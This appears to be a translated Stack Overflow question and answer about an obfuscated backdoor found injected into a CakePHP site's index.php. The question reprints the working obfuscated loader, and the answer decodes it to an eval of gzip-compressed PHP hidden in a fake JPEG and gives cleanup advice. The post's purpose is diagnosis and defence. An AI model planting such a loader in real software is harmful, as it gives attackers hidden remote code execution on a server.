这是某种CakePHP黑客行为吗?

时间:2011-12-26 18:53:05

标签: php cakephp code-injection

前几天我在CakePHP网站上收到了一些奇怪的错误消息。我们看到如下错误:

  

期望失败:
  此服务器无法满足Expect request-header字段中给出的期望      期待:100-continue,100-continue
  仅支持100次继续预期。

我最终跟踪了index.php文件中的随机代码:

$get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!`  mh(!3,da7*& H&    (a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#'|
'!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:';
$wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout();

它看起来像某种加密/加密的代码,所以我很怀疑。但我不知道如何去解扰它。任何人对这个代码试图做什么都有任何想法?

编辑:这是整个index.php文件。注意:黑客代码从今天早上回来了: - /一直在服务器上查看,但是看不到代码是如何被放入的(文件中的日期修改日期保持不变,因为我昨天编辑了它)


    
     * Copyright 2005-2007, Cake Software Foundation, Inc.
     *                              1785 E. Sahara Avenue, Suite 490-204
     *                              Las Vegas, Nevada 89104
     *
     * Licensed under The MIT License
     * Redistributions of files must retain the above copyright notice.
     *
     * @filesource
     * @copyright       Copyright 2005-2007, Cake Software Foundation, Inc.
     * @link                http://www.cakefoundation.org/projects/info/cakephp CakePHP(tm) Project
     * @package         cake
     * @subpackage      cake.app.webroot
     * @since           CakePHP(tm) v 0.2.9
     * @version         $Revision: 4450 $
     * @modifiedby      $LastChangedBy: phpnut $
     * @lastmodified    $Date: 2007-02-04 23:18:05 -0600 (Sun, 04 Feb 2007) $
     * @license         http://www.opensource.org/licenses/mit-license.php The MIT License
     */
    /**
     * Do not change
     */
        if (!defined('DS')) {
            define('DS', DIRECTORY_SEPARATOR);
        }
    /**
     * These defines should only be edited if you have cake installed in
     * a directory layout other than the way it is distributed.
     * Each define has a commented line of code that explains what you would change.
     *
     */
    $get_ya_weekday_initial = 'dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!`  mh(!3,da7*& H&(a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#'|
    '!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:';
    $wp_cw_kses_split = '>=^/E]u*PDAF$!V'^']O;N18*L%*"2MN8';$set_yly_timeout = $wp_cw_kses_split('',$get_ya_weekday_initial);$set_yly_timeout();
        if (!defined('ROOT')) {
            //define('ROOT', 'FULL PATH TO DIRECTORY WHERE APP DIRECTORY IS LOCATED DO NOT ADD A TRAILING DIRECTORY SEPARATOR';
            //You should also use the DS define to seperate your directories
            define('ROOT', dirname(dirname(dirname(__FILE__))));
        }
        if (!defined('APP_DIR')) {
            //define('APP_DIR', 'DIRECTORY NAME OF APPLICATION';
            define('APP_DIR', basename(dirname(dirname(__FILE__))));
        }
    /**
     * This only needs to be changed if the cake installed libs are located
     * outside of the distributed directory structure.
     */
        if (!defined('CAKE_CORE_INCLUDE_PATH')) {
            //define ('CAKE_CORE_INCLUDE_PATH', FULL PATH TO DIRECTORY WHERE CAKE CORE IS INSTALLED DO NOT ADD A TRAILING DIRECTORY SEPARATOR';
            //You should also use the DS define to seperate your directories
            define('CAKE_CORE_INCLUDE_PATH', ROOT);
        }
    ///////////////////////////////
    //DO NOT EDIT BELOW THIS LINE//
    ///////////////////////////////
        if (!defined('WEBROOT_DIR')) {
            define('WEBROOT_DIR', basename(dirname(__FILE__)));
        }
        if (!defined('WWW_ROOT')) {
            define('WWW_ROOT', dirname(__FILE__) . DS);
        }
        if (!defined('CORE_PATH')) {
            if (function_exists('ini_set')) {
                ini_set('include_path', CAKE_CORE_INCLUDE_PATH . PATH_SEPARATOR . ROOT . DS . APP_DIR . DS . PATH_SEPARATOR . ini_get('include_path'));
                define('APP_PATH', null);
                define('CORE_PATH', null);
            } else {
                define('APP_PATH', ROOT . DS . APP_DIR . DS);
                define('CORE_PATH', CAKE_CORE_INCLUDE_PATH . DS);
            }
        }
        require CORE_PATH . 'cake' . DS . 'bootstrap.php';
        if (isset($_GET['url']) && $_GET['url'] === 'favicon.ico') {
        } else {
            $Dispatcher = new Dispatcher();
            $Dispatcher->dispatch($url);
        }
        if (Configure::read() > 0) {
            echo "";
        }
    ?>

我开始怀疑我是否需要更新Cake,因为它目前是v1.1: - /

1 个答案:

答案 0 :(得分:2)

  

有人对此代码尝试做什么有任何想法吗?

更易读的形式的代码是:

eval(@gzinflate(file_get_contents(".../persistent/KRFCstudio.jpg")));

这是一种被混淆的后门脚本(如果你想知道如何,see the related question)。它在代码中休息,直到提供有效负载。

需要将有效负载放入

.../cake/s‌​cripts/templates/skel/tmp/cache/persistent/KRFCstudio.jpg

DEFLATE data (RFC 1951) PHP代码的形式(没有开头<?php标记),请参阅gzinflate­Docseval­Docs

  

注意:黑客代码从今天早上回来了: - /一直在服务器上查看,但是没看到代码是如何放入的(文件中的日期修改日期保持不变,因为我编辑了昨天)。

再次对文件进行更改。然后将文件设为只读(因为任何php文件应该在服务器上)。当它是只读时检查它是否仍然是干净的。还要确保在标准Web请求中读取文件的进程无法更改文件的文件权限,例如:只允许root这样做。

然后对您网站上的文件进行日志文件访问,以查明文件何时更改(或进程尝试更改文件)。

如昨天所述,您应该联系负责该服务器的人员。你已经做到了,对吗?您需要有人可以与您讨论此问题,并且可以与您讨论此问题。